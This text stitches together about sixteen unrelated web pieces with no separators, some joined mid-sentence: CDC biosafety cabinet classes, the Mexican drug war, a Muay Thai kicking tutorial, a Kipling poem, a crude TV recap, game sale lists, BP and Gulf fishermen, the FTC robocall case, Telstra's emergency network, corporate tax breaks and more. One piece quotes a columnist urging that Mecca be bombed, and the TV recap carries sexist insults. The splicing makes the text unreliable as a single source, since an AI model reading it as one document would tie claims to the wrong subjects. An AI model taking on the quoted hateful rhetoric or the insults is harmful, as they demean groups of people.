The U.S. Centers for Disease Control and Prevention (CDC) classifies BSCs into three classes.[3]:6 These classes and the types of BSCs within them are distinguished in two ways: the level of personnel and environmental protection provided and the level of product protection provided.
Class I Edit
BSC Class I
Class I cabinets provide personnel and environmental protection but no product protection. In fact, the inward flow of air can contribute to contamination of samples.[6] Inward airflow is maintained at a minimum velocity of 75 ft/min(0.38 m/s). These BSCs are commonly used to enclose specific equipment (e.g. centrifuges) or procedures (e.g. aerating cultures) that potentially generate aerosols. BSCs of this class are either ducted (connected to the building exhaust system) or unducted (recirculating filtered exhaust back into the laboratory).[3]:6
Class II Edit
Leishmania. A Class II biosafety cabinet used for handling
Class II cabinets provide both kinds of protection (of the samples and of the environment) since makeup air is also HEPA-filtered. There are five types: Type A1 (formerly A), Type A2 (formerly A/B3), Type B1, Type B2 and Type C1. Each type's requirements are defined by NSF International Standard 49,[3]:31 which in 2002 reclassified A/B3 cabinets (classified under the latter type if connected to an exhaust duct) as Type A2,[5] and added the Type C1 in the 2016 standard.[7] About 90% of all biosafety cabinets installed are Type A2 cabinets.[6]
Principles of operation use motor driven blowers (fans) mounted in the cabinet to draw directional mass airflow around a user and into the air grille - protecting the operator. The air is then drawn underneath the work surface and back up to the top of the cabinet where it passes through the HEPA filters. A column of HEPA filtered, sterile air is also blown downward, over products and processes to prevent contamination. Air is also exhausted through a HEPA filter, and depending on the Type of Class II BSC, the air is either recirculated back into the laboratory or pulled by an exhaust fan, through ductwork where it is expelled from the building. [8][citation needed]
The Type A1 cabinet, formerly known as Type A, has a minimum inflow velocity of 75 ft/min. The downflow air, considered contaminated, splits just above the work surface (the BSCs smoke split) and mixes with the inflow. This air is drawn, through ductwork, up the back of the cabinet where it is then blown into a positive pressure, contaminated plenum. Here, the air is either recirculated, through a HEPA filter, back down over the work zone, or exhausted out of the cabinet (also through a HEPA filter). Sizing of HEPA filters and an internal damper are used to balance these air volumes. This type is not safe for work with hazardous chemicals even when exhausted with a "thimble" or canopy to avoid disturbing internal air flow.[3]:8–9
The Type A2 cabinet, formerly designated A/B3, has a minimum inflow velocity of 100 ft/min. A negative air pressure plenum surrounds all contaminated positive pressure plenums. In other respects, the specifications are identical to those of a Type A1 cabinet.[3]:9–11[5]
Type B1 and B2 cabinets have a minimum inflow velocity of 100 ft/min, and these cabinets must be hard-ducted to an exhaust system rather than exhausted through a thimble connection. Their exhaust systems must also be dedicated (one BSC per duct run, per blower). In contrast to the type A1 and A2 cabinets, Type B BSCs use single pass airflow (air that does not mix and recirculate) in order to also control hazardous chemical vapors. Type B1 cabinets split the airflow so that the air behind the smoke-split is directed to the exhaust system, while air between the operator and the smoke-split mixes with inflow air and is recirculated as downflow. Since exhaust air is drawn from the rear grille, the CDC advises that work with hazardous chemistry be conducted in the rear of the cabinet.[3]:10 This is complicated, since the smoke split (demarking the "rear of the cabinet") is an invisible line that extends the width of the cabinet (approximately 10-14 inches from the front grille) and drifts as the internal HEPA filters load with particulate.[8]
The Type B2 cabinet (also known as a Total Exhaust BSC) is expensive to operate because no air is recirculated within.[3] Therefore, this type is mainly found in such applications as toxicology laboratories, where the ability to safely use hazardous chemistry is important.[5] Additionally, there is the risk that contaminated air would flow into the laboratory if the exhaust system for a Type B1 or B2 cabinet were to fail. To mitigate this risk, cabinets of these types generally monitor the exhaust flow, shutting off the supply blower and sounding an alarm if the exhaust flow is insufficient.[3]:10–11
The Type C1 BSC was borne out of necessity to control infectious material, chemical hazards, reduce operating costs and add flexibility in modern laboratories. The Type C1 moves air by mixing inflow air with the air in the columns of downflow air marked for recirculation. Air above a clearly delineated section of the work surface is drawn by a second internal fan where it is exhausted through a HEPA filter. The C1 differs from a Type A in that it can use this single pass airflow, and when installed in a ducted operating mode, can protect from hazardous chemistry, like the Type Bs. The C1 also differs from the Type B BSCs in several ways; (1) it does not require a hard connected, dedicated exhaust system and blower to operate, (2) pending a risk assessment, the BSC can run for an extended duration to increase operator protection during a remote exhaust system failure, and (3) Type C1 BSCs can run without being connected to an exhaust system at all.[9]
Class II Biosafety Cabinet Types using color to illustrate where it is safe to handle hazardous chemistry with microbiology. (Blue is recirculated air where it is NOT safe to use hazardous chemistry. Red is single pass air and is safe for chemical use. Purple is uncertainty due to location of the BSCs smoke-split)
Class II cabinets are the commonly used cabinets in clinical and research laboratories.
Class III Edit
A researcher observing a specimen through the built-in microscope in a Class III biosafety cabinet
Aerosol control platform inside a Class III Biosafety Cabinet
The Class III cabinet, generally only installed in maximum containment laboratories, is specifically designed for work with BSL-4 pathogenic agents, providing maximum protection. The enclosure is gas-tight, and all materials enter and leave through a dunk tank or double-door autoclave. Gloves attached to the front prevent direct contact with hazardous materials (Class III cabinets are sometimes called glove box). These custom-built cabinets often attach into a line, and the lab equipment installed inside is usually custom-built as well.[3]:12–13Although no one seems to be able to initiate a change, there is widespread acknowledgement that US-backed drug war policies in Mexico have worsened the security situation, enabled human rights abuses by the government, and has not put a dent in the drug market. Washington Post:
A top official in Mexico’s new government on Monday harshly criticized the country’s U.S.-backed attack on drug cartel leaders for causing violence to surge, even as the incoming team offered an alternate security strategy largely devoid of details. Interior Secretary Miguel Angel Osorio Chong opened a meeting of the National Security Council saying that under the strategy of former President Felipe Calderon, who left office Dec. 1, “financial resources dedicated to security have more than doubled but unfortunately crime has increased.”
Calderon’s policy to deploy Mexican troops and federal police officers – forces that are trained by the United States – only increased the violence, which has left more than 50,000 dead since about 2006. “George W. Bush backed Calderón’s militarization with a $1.8 billion package of helicopters, police training, and intelligence cooperation,” wrote The New Yorker’s Steve Coll recently. “Obama has continued the program” and “has reportedly sent drones to help Mexico track cartel leaders and traffickers.”
Human Rights Watch back in November of last year released a report providing evidence that Mexico’s security forces participated in “more than 170 cases of torture, 39 ‘disappearances,’ and 24 extrajudicial killings since Calderón took office in December 2006.” And these are just what they could confirm.
“Instead of reducing violence, Mexico’s ‘war on drugs’ has resulted in a dramatic increase in killings, torture, and other appalling abuses by security forces, which only make the climate of lawlessness and fear worse in many parts of the country,” said José Miguel Vivanco of Human Rights Watch.
Despite the open criticisms, it seems unlikely that the new Mexican government will succeed in significantly altering the status quo.
The United States has been pushing a militaristic approach to the drug war for a long time. Other countries – Colombia, Guatemala, Honduras, etc. – are suffering from a similar dilemma thanks to US pressure and the refusal to budge on a failed policy.Today we're looking at the teep. Before we begin talking about proper form and application of this excellent weapon, let's first differentiate it from another strike that it is often confused with: the front kick. It's often argued that the front kick is a strike and the teep a push, which is why it's also called a "push kick." And while this is often the case, the teep can be thrown as a hard-hitting strike as well, and it certainly does accumulative damage however it's utilized. The real difference between these two kicks is the trajectory, plain and simple. A front kick connects from underneath, the ball of the foot moving into the target at an upward angle.
So this famous knockout...
...was the result of a front kick.
This kick, on the other hand...
...is a teep.
Both kicks can be thrown to the body or head or, in a self-defense context, the groin. Both kicks accomplish different goals. To put it simply, the teep is like a straight punch, and the front kick is like an uppercut.
The teep is a technique close to my heart as it comprises a pretty big part of my personal Muay Thai game. The kick serves exactly the same purpose as a boxer's jab, except that it obviously has a substantially longer effective range. In fact, another common name for the teep is the "foot jab." Like a jab, the teep is capable of doing damage, though its effects are usually attritive rather than instantaneous. More importantly, the teep controls distance. In the Bloody Basics on Stance, and elsewhere, I have talked about the importance of distance control in any fight. It is my opinion that distance control is the single most important aspect of striking. Not only is the teep a longer strike than the jab, but it is quick and has far more stopping power, being more than capable of taking even a slightly off balance opponent off their feet.
Let's watch one of the fights of arguably the greatest nakmuay to have ever lived, Samart Payakaroon. Watch the way he controls the distance between he and his opponent from the very beginning of the fight. His teep is crucial to this aspect of his game.
From the very first moments of the fight, you can see that Samart's entire game revolves around distance control. Since he was an excellent boxer, an area most nakmuay are lacking in, he would use his teep from the beginning of every round to thwart his opponent's attempts to close range.
Every attempt to step in with a punch is met with a quick, hard teep to the midsection or hips. This also keeps the opponent from trying to use their own kicks to close the distance. Even though it would be easier for Samart's opponent to reach him with a kick, he would be in extreme danger of being shoved to the ground were he to try any technique that put him on just one leg.
Provided you are capable of teeping well enough to prevent an opponent from closing the distance on their terms, they have only two responses. First, they can try to reach you anyway, which means they will start to overextend themselves, or throw telegraphed techniques.
Samart's opponent, after being hit with two more teeps, attempts to strike with a sloppy, lunging left hook, which Samart easily avoids. After that fails, he logically resorts to throwing his own teep, it being the longest strike he has. Unfortunately for him, Samart follows the same line of logic, and easily catches the expected kick before dumping his opponent to the ground.
The second response an opponent can have to being kept outside of range, is simply to stay at the end of your teep, and attempt to time and counter it. Like Samart in the last.gif, an opponent may hope to catch your leg and sweep you. Or they may hope to avoid your teep and land something more meaningful as a counter. This is when the teep functions exactly as a jab, in that it works perfectly to set up other techniques. This is a huge part of the game of the greatest active nakmuay, Saenchai PKSaenchaimuaythaigym (whose gym-based last name seems to change at least three times a year). Saenchai is fond of feinting the lead teep and throwing a hard left round kick after it or, sometimes, a more powerful rear leg teep:
Sam-A Kaiyanghadaogym, one of the most technical nakmuay, excels at using his teep to both control distance and set up strikes. Watch him land several well-time teeps that take his opponent off his feet, then fake his lead teep in order to bait a hesitated reaction from his opponent and land a powerful round kick to the ribs.
Many of these strikes utilize a technique called simply the "hop," in which you fake the teep by lifting the knee, and hop your rear foot forward to close the distance. This allows to control whether or not you use the teep to keep the opponent at bay, or to enter into striking range yourself.
Unfortunately, the teep is not commonly seen in MMA. It is often said that the technique is easy to catch, and may therefore result in an unwanted takedown. I disagree. In fact the teep, being a linear kick, is much quicker and harder to see coming than a round kick, and round kicks are very commonly thrown in MMA. If an opponent tries to catch a teep, they open themselves to such techniques as the superman punch, or if they do manage to catch the kick, the teep serves as its own defense. A caught foot cannot be used to damage per se, but it can certainly still be used to push.
Though this video pertains to a caught round kick, the same techniques can be used to counter a teep catch. When the opponent has a hold of your foot, you can push him away using the same foot.
Hopefully this is enough to convince you that, even in MMA, the teep is an invaluable weapon. Whether you like to box or throw punishing kicks, the teep is the perfect weapon to set those strikes up. And nothing opens an opponent up for counters like being frustrated time and time again by a stiff kick to the guts every time they try to reach you. So I'll leave you with a video of Saenchai. Observe, enjoy, and practice your teeps!Poetry Lovers' Page:featuring complete collections of poems by the following poets:
Rudyard Kipling
A Code of Morals
Lest you should think this story true I merely mention I Evolved it lately. 'Tis a most Unmitigated misstatement. Now Jones had left his new-wed bride to keep his house in order, And hied away to the Hurrum Hills above the Afghan border, To sit on a rock with a heliograph; but ere he left he taught His wife the working of the Code that sets the miles at naught. And Love had made him very sage, as Nature made her fair; So Cupid and Apollo linked, per heliograph, the pair. At dawn, across the Hurrum Hills, he flashed her counsel wise -- At e'en, the dying sunset bore her husband's homilies. He warned her 'gainst seductive youths in scarlet clad and gold, As much as 'gainst the blandishments paternal of the old; But kept his gravest warnings for (hereby the ditty hangs) That snowy-haired Lothario, Lieutenant-General Bangs. 'Twas General Bangs, with Aide and Staff, who tittupped on the way, When they beheld a heliograph tempestuously at play. They thought of Border risings, and of stations sacked and burnt -- So stopped to take the message down -- and this is whay they learnt -- "Dash dot dot, dot, dot dash, dot dash dot" twice. The General swore. "Was ever General Officer addressed as 'dear' before? "'My Love,' i' faith! 'My Duck,' Gadzooks! 'My darling popsy-wop!' "Spirit of great Lord Wolseley, who is on that mountain top?" The artless Aide-de-camp was mute, the gilded Staff were still, As, dumb with pent-up mirth, they booked that message from the hill; For clear as summer lightning-flare, the husband's warning ran: -- "Don't dance or ride with General Bangs -- a most immoral man." [At dawn, across the Hurrum Hills, he flashed her counsel wise -- But, howsoever Love be blind, the world at large hath eyes.] With damnatory dot and dash he heliographed his wife Some interesting details of the General's private life. The artless Aide-de-camp was mute, the shining Staff were still, And red and ever redder grew the General's shaven gill. And this is what he said at last (his feelings matter not): -- "I think we've tapped a private line. Hi! Threes about there! Trot!" All honour unto Bangs, for ne'er did Jones thereafter know By word or act official who read off that helio. But the tale is on the Frontier, and from Michni to Mooltan They know the worthy General as "that most immoral man."
Copyright © 1995-2013 poetryloverspage.com. All rights reserved.“I don’t think it’s out of the ordinary,” Ms. Little said. “I find it incredibly hard to believe that these kinds of conversations aren’t happening in groups of men, just based on what men feel free to shout on the street at me every day. Literally every day.”
On a rooftop in the U Street neighborhood of Washington, Ms. Little and a group of mostly male friends had just finished watching the second presidential debate when the conversation tilted to what she experienced every day on the street.
“They were like, ‘Whoa, those kinds of things happen to you?’” Ms. Little said. “They know from an academic perspective that sexism is a very real thing. But I don’t think they grasp the very low-level sexual harassment that women deal with day in and day out because they don’t see it. They can’t see it.”
Josh White, 29, a lawyer, was among the friends who said he was stunned by Ms. Little’s stories of being groped, heckled and followed, and he said it had shown him a blind spot.
“It was really astonishing how different our experiences are,” he said. “Guys, we don’t talk about these issues amongst ourselves. Why would we? A lot of the time you have to have someone push you in that direction or plant the seed to get you talking.”
Couples on the Republican side of America’s political divide found themselves having similar conversations that ended in the conclusion that Mr. Trump was still their candidate.
In the Denver suburb of Centennial, Jeff and Antonette Smith recalled the night six years ago when one of Ms. Smith’s colleagues dismissed her efforts to weigh in during a discussion about company balance sheets. That night, they went online together to scout out masters of business administration programs that would move her higher in the corporate world.Normally people complain that Monday’s come around too fast because you have to go back to work on Monday. Not me. To me, Monday’s seem to come around so fast because it means I have to watch The Bachelorette. 2 hours of it. Well we are already back to another mind-numbing episode of the show the Taliban calls exhibit 1 in why America must be destroyed, so we may as well get in to it. Let’s start talking about The Bachelorette 2014 Wk 9.
First home town visit
This week is the home town visits y’all! You might also have noticed that there is a distinct lack of dudes lounging around. We seem to be getting close to the end. The first hometown visit is with the dude who likes to wear scarves. Scarves are an item of clothing in my PITA category for women. Women who wear scarves are generally a pain in the ass. I’m thinking this dude would fall in to that category. Also, look I’m just going to say this, I”m not judging. I think this dude is here more for an opportunity to meet an eligible bachelor himself rather than Andi (note that his sister only mentioned serious relationships, not with women…)
How about the face Andi, the attorney, was making when one of the dude’s sisters was talking to her? She is an awesome actress. She definitely has a future in Hollywood. I don’t foresee her having a sex tape “leaked” in the future at all. Well I’m at least 40% confident she won’t have a sex tape “leaked” in the future.
How much does ABC pay these families to be on TV? I wouldn’t do this for free but if I were getting paid by ABC, I could act like The Bachelorette is the greatest idea known to man. I’m sure that’s the amount of money they have to pay these families. They must go to the dads and say to them, “look dude. I know you think this is moronic. But how awesome would a new car be?”
In the next scene, we are to believe that this precocious little girl is spontaneously interviewing Andi, the attorney, about what Andi is looking for in a man. I know the target audience is oohing and ahhing out there and dabbing away tears at how cute this scene is. A sane person like me who is watching this recognizes the set up of this situation and knows that the writers wrote out those questions. Also, for the record, that little girl is 10x the actress that Andi, the attorney, is. If I were Andi, the attorney, I would be pissed that I got shown up by that bitch of |
!). You can also get $30 off Year 1 Starter Packs on every platform at Gamestop (though, Target’s got Xbox One Starters for $10 cheaper) and everything except PS4 at Amazon (though PS4 Supergirl Starters are included in this deal).
Update: Thanks to TSTOJMH on Reddit for noticing Lego Store has an assortment of pretty good deals now, too. An assortment of Year 1 Fun Packs are $5.99. They’re also beating Walmart’s price on Jurassic World Team Packs (down to $12.49) and have Scooby Doo Team Packs, Doctor Who Level Packs, and Portal Level Packs for 50% off. Also, double VIP points and free shipping over $35! It’s a great week to shop at the Lego Store.
See any mistakes, price changes, or anything we missed? Drop a line here or on Reddit and let us know!
Want to compare to last week’s deals? Check them out here.
Table of Contents
Best Deals of the Week
Amazon
Best Buy
Five Below
Gamestop
Lego Store
Microsoft Store
Target
Toys R Us
WalmartCommercial fishermen may lose their livelihoods to the Gulf oil spill, but it’s the little things that count, right? The United Commercial Fisherman’s Association (UCFA) scored a temporary restraining order against BP this week, requiring the company to claim responsibility for hazardous chemical exposure oversight for fishermen involved in the oil spill cleanup effort.
The UCFA explains:
In order to protect their homes and livelihood, commercial fishermen in Louisiana and other Gulf States have volunteered to assist BP in its clean-up efforts and have entered into agreements known as the Master Vessel Charter Agreement (MVCA) requiring them to provide the services of “tending or deploying boom and skimming equipment, skimming equipment, skimming operations, recovering oil debris, collecting garbage, assistance with wildlife operations and towing equipment.” Certain sections of the MVCA, which required fishermen to waive their legal and other constitutional rights in order to be employed, were declared void by the U.S. District Court earlier this week because of emergency legal actions taken by Mr. Barisich and his attorneys.
BP actually claimed that the inclusion of the waiver was a mistake–a prospect we find hard to believe. Regardless, BP now has to provide fishermen with proper equipment, train them in haz-mat protocol, and generally make sure that the volunteers don’t get hurt because of exposure to toxic oil goop. You know, things they should have been doing from the beginning.Sony Computer Entertainment Europe (SCEE) has kicked off a Final Fantasy sale over on the region’s PlayStation Store today.
The discounts cover a wide range of titles in the venerable RPG series, including the original game and up to and including Final Fantasy XIV: A Realm Reborn. The sale runs through until February 5.
See below for a full round-up. See anything you fancy? Let us know in the comments section below.
– – – – –
Final Fantasy I
Was £7.99/€9.99, now £3.99/€4.99
Final Fantasy II
Was £7.99/€9.99, now £3.99/€4.99
Final Fantasy IV: Complete Collection
Was £15.99/€19.99, now £7.99/€9.99
Final Fantasy V
Was £7.99/€9.99, now £3.99/€4.99
Final Fantasy VI
Was £7.99/€9.99, now £3.99/€4.99
Final Fantasy VII
Was £7.99/€9.99, now £3.99/€4.99
Final Fantasy VIII
Was £7.99/€9.99, now £3.99/€4.99
Final Fantasy IX
Was £7.99/€9.99, now £3.99/€4.99
Final Fantasy XIII-2
Was £15.99/€19.99, now £7.99/€9.99
Final Fantasy XIV: A Realm Reborn Standard Edition
Was £28.49/€34.99, now £16.23/€19.94
Final Fantasy XIV: A Realm Reborn Collector’s Edition
Was £39.99/€49.99, now £19.99/€24.99
Final Fantasy Tactics: War of the Lions
Was £7.99/€9.99, now £3.99/€4.99
Dissidia: Final Fantasy
Was £13.99/€17.99, now £6.99/€8.99
Dissidia duodecim prologus
Was £1.19/€1.49, now £0.78/€0.98
Dissidia 012: Final Fantasy
Was £15.99/€19.99, now £7.99/€9.99(Photo: Screen capture)
As conservative politicians ratchet up hatred of Syrian refugees seeking asylum in the U.S. to escape persecution from radical jihadists, a conservative columnist claims that he is “sick and tired” of being pushed around by the followers of Islam and suggests a final solution: “Bomb Mecca off the face of the earth.”
This week saw possible 2016 GOP presidential candidate Donald Trump calling for Muslims to wear some type of identifying badge — reminiscent of the yellow Star of Davids Jews were forced to wear in Nazi Germany — and some GOP lawmakers suggesting internment camps like the ones used to incarcerate Japanese-Americans during World War II.
Writing for conservative news site WorldNetDaily, Burt Prelutsky suggested that destroying Islamic terrorist group ISIS isn’t enough and that the center of the Islamic world and the birthplace of the Prophet Muhammad needs to be destroyed as a lesson to the 1.6 billion Muslims in the world.
“Suggesting that there is nothing wrong with a religion whose Quran is a handbook for terrorism is reminiscent of those fools who keep insisting that communism is perfect, and that the only problem with it is that it’s never been done right, whether in China, the Soviet Union, Cuba, Venezuela, Mongolia or North Korea. Believe in Marx’s utopia, the idiots insist, not your own eyes,” he wrote.
The former television comedy writer turned conservative gadfly continued, “My own politically incorrect suggestion is that we remove ISIS from the face of the earth, hopefully as a joint effort with every other nation it has threatened or attacked, and that we then bomb Mecca off the face of the earth, not concerning ourselves in the least with collateral damage, letting the Muslims know once and for all that our God is far more powerful and, yes, vengeful than their own puny deity.”
Prelutsky allowed that killing the 1.2 million people who live in Mecca — Islamic or not –might be harsh, but “they’ve been asking for it for over 1,400 years.”
“I, for one, am sick and tired of seeing the Islamic bullies demand our lunch money and, like a bunch of scrawny wimps afraid of our own shadow, we hand it over,” he wrote. “What’s even more appalling, we then pretend we did it because we’re good guys who realized that they’re human beings just like us, and who just happen to be a little bit hungrier than we are.”
“The idea that we can civilize these savages is beyond ludicrous.”Nintendo's had a pretty tough year trying to push its Wii U into homes, as evidenced by the latest sales figures released today. Since this time last year, the gaming giant has just about doubled the number of Wii Us sold cumulatively, going from 3.06 million units to 5.86 million units as of December 31st. That's right, only 2.8 million Wii Us -- along with 17.68 million software titles -- were sold during 2013, which is pretty worrying when compared to the 3 million Xbox Ones and the 4.2 million PS4s sold in just the first couple of months after they launched. It's also nowhere near the 100-million-unit milestone achieved by the original Wii, which easily beat the more expensive consoles from Microsoft and Sony in the same generation.
On a brighter note, Nintendo managed to sell 12.9 million 3DSs in 2013, making it a total of 42.74 million units plus 152.29 million titles since its debut in February 2011. Alas, net income is still down by 29.9 percent year-over-year to 10.2 billion yen ($98.7 million). With no plans to offer its games on other platforms, we sure hope Nintendo's increased R&D spending will guarantee a solid comeback this year. More details in the PDF document linked below.
Update: Nintendo's bosses are taking a pay cut to make up for the latest loss.Image caption Richard Dawkins says for many students the Koran always wins in any disagreement with science
Muslim faith schools fill children's heads with "alien rubbish" as they continue to teach them creationism is true, atheist Richard Dawkins has said.
In the Times Educational Supplement (TES), the Oxford author said they had a "pernicious influence".
The Muslim Council of Britain said it was unreasonable to expect schools not to teach fundamental theories of faith.
The Department for Education said creationism "should not be taught as scientific fact".
Professor Dawkins told the TES he had concerns with all faith schools, but Muslim ones worried him the most.
The author of The God Delusion, emeritus fellow of New College and evolutionary biologist, said young people were being taught that the world was only 6,000 years old.
The effect of this was "utterly deplorable" and could affect the way young people thought right up until their university years, he said.
I don't believe any religious teaching prevents people from being creative and independent in their thinking Sheikh Ibrahim Mogra, Muslim Council of Britain
"Occasionally, my colleagues lecturing in universities lament having undergraduate students walk out of their classes when they talk about evolution - this is almost entirely Muslims," he said.
But Sheikh Ibrahim Mogra, from the Muslim Council of Britain, said: "Faith schools are by and large established to enforce the religious teachings of our lives, and the theory of creation is one of the cornerstones of our faith.
"To expect faith schools not to teach this kind of religious teaching is unreasonable, but I also think it is important for faith schools to teach science to children as well so they are aware of modern day findings and can use the information to ask further questions and strengthen their faith.
"I don't believe any religious teaching prevents people from being creative and independent in their thinking."
A MCB spokesman added: "The results of Muslim faith schools in England in maths and science show a strong compatibility between the Muslim faith and scientific learning."
The chairman of Muslims4UK, Inayat Bunglawala, said it was "important faith groups came to terms with evolution" and taught it in a fair manner.
"I don't think students growing up today are served well by being taught this way by religious leaders.
Media playback is unsupported on your device Media caption Richard Dawkins's new book is intended to teach children to replace myth with science
"It's symbolic and it makes no sense to take it so literally - it will only serve to undermine the faith of students when the two schools of thought could be understood side by side."
Naomi Phillips, from the British Humanist Association, said: "There are a number of problems that go throughout faith schools but I wouldn't say it's just Muslim schools, it's also Christian schools too."
A Department for Education spokesperson said: "All schools must teach a broad and balanced curriculum, and creationism should not be taught as scientific fact.
"Evolution first appears as a concept in the National Curriculum at Key Stage 3."
Naomi Phillips said however more needed to be done to ensure this.
"We've been encouraged certainly by the government saying very strongly that they don't think creationism should be taught in schools, but what we need to see now is real statutory measures, make guidance against teaching creationism."I received the call again yesterday, as I have once a month for the last year. My auto warranty was expiring, it said, and I should press 1 to speak with a "warranty specialist" about extending it. The calls were blatant violations of US telemarketing rules: no company name was given, incorrect caller ID information was displayed, and I had been on the government's Do Not Call list for years. Yet the calls continue. Oh, Federal Trade Commission, (ostensible) consumer watchdog, will you not bark?
Thirty thousand people with more initiative than I possess managed to dig up the real numbers of the telemarketing firm behind the calls, and they complained to the FTC, which yesterday went nuclear on the alleged perpetrators. The government filed a federal lawsuit in Chicago asking for a restraining order against the companies involved, an asset freeze against the defendants, and a court-appointed receiver who could take over their businesses. The FTC seeks to claw back all of the money made by the firms, planning to use it for "consumer redress."
Who are you?
If you live in the US, you probably got a call—even 911 dispatchers did. That's because the telemarketers, based in Chicago and Florida, used robodialing systems to call through every phone number in an area code, repeatedly. They didn't bother targeting people who had recently purchased vehicles; in fact, they did no targeting at all. This was brutal, brute-force stuff, the most obviously illegal telemarketing scheme seen on this scale since the Do Not Call list went into effect.
"This is one of the most aggressive telemarketing schemes the FTC has ever encountered," said FTC Chairman Jon Leibowitz. "I’m not sure which is worse, the abusive telemarketing tactics of these companies, or the way they try to deceive people once they get them on the phone. Either way, we intend to shut them down."
Why would defendants Voice Touch and Network Foundations take the risks alleged in the complaint? Money. The FTC estimates that one of the companies selling the extended warranties made more than $10 million on them, while the telemarketer who placed the calls on behalf of such companies (yes, there are many of them) did more than $40 million worth of dialing and made more than 1.8 million calls per day.
Despite the scale of the operation, owners didn't believe they could be caught. According to the FTC, "Some of the defendants used offshore shell corporations to try to avoid scrutiny, and a top officer in the telemarketing company bragged to prospective clients that he could operate outside the law without any chance of being caught."
The companies providing the "warranties"—really mediocre service contracts provided by third parties for $2,000 to $3,000—did everything they could to sound like they were affiliated with the carmakers. The FTC obtained the training manuals and telemarketing scripts of one such company, Transcontinental.
Transcontinental’s training manual states that if asked the question, "Who Are You?," telemarketers are to respond: "We are the Warranty Service Center. We provide warranty services for ______ (Ford, GMC, Honda, Toyota, Nissan, etc.) throughout the United States and Canada." Similarly, defendants' telemarketer who trains new employees, referred to himself as an "administrator" for the consumer’s automobile manufacturer during a telemarketing call. Defendants' telemarketers who are unwilling to lie about their affiliation are instructed to simply hang up on any consumer who asks them the name of their firm, or face termination.
The firms have been operating openly since 2007, and though it has taken the FTC a long time to collect its evidence, track down witnesses, and gather internal documents, it looks like the scammers behind the calls may finally come to justice. If they do, perhaps their punishment could be selected using a touch-tone phone: "Press 1 to pay an astronomical fine, or press 2 to rot in jail. To hear these options again, please stay on the line..."Telstra will make its prioritised mobile broadband spectrum for emergency services available in time for Australia’s coming natural disaster season, after years of testing the dedicated offering.
In order to create the new service, called LANES, Telstra has carved out 160MHz of LTE spectrum which will can be dedicated to carrying broadband traffic during emergencies to bypass congestion. The spectrum would include valuable long-range 700MHz spectrum.
The carrier quietly tested LANES at Queensland’s Woodford Festival to see if it was possible to provide reliable service to Queensland Police and emergency services in a rural setting undergoing a sharp but temporary increase in population.
It also tested the system in urban settings during the 2014 Brisbane G20 summit and at the 2015 AFL grand final to assess its performance in a scenario where in excess of 100,000 people would be accessing the network.
Telstra’s public safety and security chief Alex Stefan said these trials had been successful and yesterday announced LANES would become available by December.
The service is primarily aimed at emergency services agencies but could also be made available to any organisation seeking priority access to the carrier’s mobile broadband network.
In order to access the service, customers would be required to order special orange SIM cards.
Telstra is yet to sign any customers for the service but Stefan said that emergency services organisations had shown “extreme interest” in the new SIMs.
Telstra said it was still working through pricing details for access to the service given that demand for capacity among emergency services could be lumpy and seasonal.
Telstra has been on a years-long campaign to get public safety agencies using its dedicated LANES network.
But it has butted heads with the country's police forces, who have long argued for their own dedicated spectrum to run a national mobile emergency services network.
However, the Productivity Commission doused any hopes of a dedicated public safety LTE network in January this year, finding it would cost $4 billion more over 20 years to build such a network than buying services off a commercial provider, like Telstra's LANES.
The Australian Communications and Media Authority's (ACMA) "current stance is to await the government’s consideration of the Productivity Commission’s report on this issue"."The game is rigged and the American people know that. They get it right down to their toes." -- Senator Elizabeth Warren
This week, the House Ways and Means Committee is poised to demonstrate exactly how the rules get rigged. Beginning on Tuesday, the committee will mark up a series of bills on corporate tax breaks -- known as "extenders" because they have been extended regularly every year or two for over a decade. Only now the Committee plans to make many of them permanent, at the cost of an estimated $300 billion over 10 years. And it does not plan to pay for them by closing other corporate loopholes or raising rates. The giveaway -- almost all of which goes to corporations -- will simply add to the deficit. And no doubt those who vote for them will later demand deeper cuts in programs for the vulnerable in order to bring "spending" under control.
The measures range from big to small, sensible to inane. Two centerpieces are glaring loopholes for multinational companies and banks, encouraging them to ship jobs and report profits abroad to avoid an estimated $80 billion in taxes over a decade.
Call them -- one known as the "active finance exception" and the other as the "CFC look-through rule -- the General Electric tax dodges. The loopholes allow multinationals with huge finance arms, like General Electric or Wall Street banks, to dodge paying their fair share of taxes simply by claiming that U.S. based financial income is being generated offshore. These "exceptions" are central to how GE managed to declare a profit of more than $27 billion over the past five years, while not only paying nothing in taxes, but pocketing tax refunds of more than $3 billion. The multi-billion dollar multinational pays less in taxes than any mom and pop store that turned a profit. These breaks don't pass the smell test.
Making these permanent without offsetting them by closing other loopholes is a brazen insult to American voters. Republicans have railed incessantly about deficits, demanding austerity budgets that have impeded the recovery and cost jobs. For the first time, they refused to pass emergency unemployment compensation to long-term unemployed workers unless it was "paid for" by cuts elsewhere. (And even after the Senate passed the measure with "pay-fors," Republican House Speaker John Boehner still refuses to allow it to come to a vote)
Emergency unemployment compensation is temporary, targeted and timely. It goes to sustain the families of unemployed workers who are still looking for work. It is of limited duration. And the families that receive it spend it immediately on food, rent, gas -- helping to boost jobs and the economy. And it can't get a vote on the floor of Congress.
The offshore tax dodges that the Committee is about to markup and bring to a vote will be permanent. They aren't emergency measures. They are targeted perversely to benefit the biggest corporations and banks the most. And they will cost jobs rather than help generate them.
But in a congress supposedly locked in hapless partisan gridlock, these bills are greased to go. They are backed by a full court press from the corporate lobbies. They gain bipartisan support by pairing the obscene with "side of the angels measures" -- a deduction for schoolteachers who pay for supplies out of their own pockets, a tax break for employees that ride mass transit to work, a tax relief for families taking a loss from selling a home with an underwater mortgage, a production tax credit for renewable energy.
This is the routine way the rules get rigged, the powerful get the gold and the workers get the shaft.
But perhaps this time business as usual may bear a price. Warren is right: Americans are increasingly onto the game. As polling for Americans for Tax Fairness has shown, voters are outraged that corporations and the wealthy aren't paying their fair share of taxes. They are incensed at the notion that Congress is giving multinationals incentives to ship jobs or report profits abroad. Or that Wall Street banks are paying lower tax rates than small businesses.
Even the perpetually tanned House Speaker John Boehner will blanche at trying to explain how unemployed workers can't be helped but multinationals need permanent loopholes to stash their earnings abroad. Even the glib Republican budget chair Paul Ryan will find it hard to justify deeper cuts that boot kids out of Head Start or cut Pell grants for college in order to make up for deficits produced by rewarding GE for stashing profits in the Cayman Islands.
This is an election year with voters in a surly mood. Embattled incumbents might be wise to think twice before bowing to the dictates of the corporate lobbies. Challengers in both parties may relish going after legislators who voted to carve a permanent loophole for multinationals that ship jobs abroad, while cutting investments in education and abandoning workers struggling to find a job.Slouching on your sofa or in front of your computer at work isn't as bad for you as you have been told, an expert has claimed.
Years of slating bad postures as being detrimental to our health is 'wrong', Jack Chew, of the Chartered Society of Physiotherapy says.
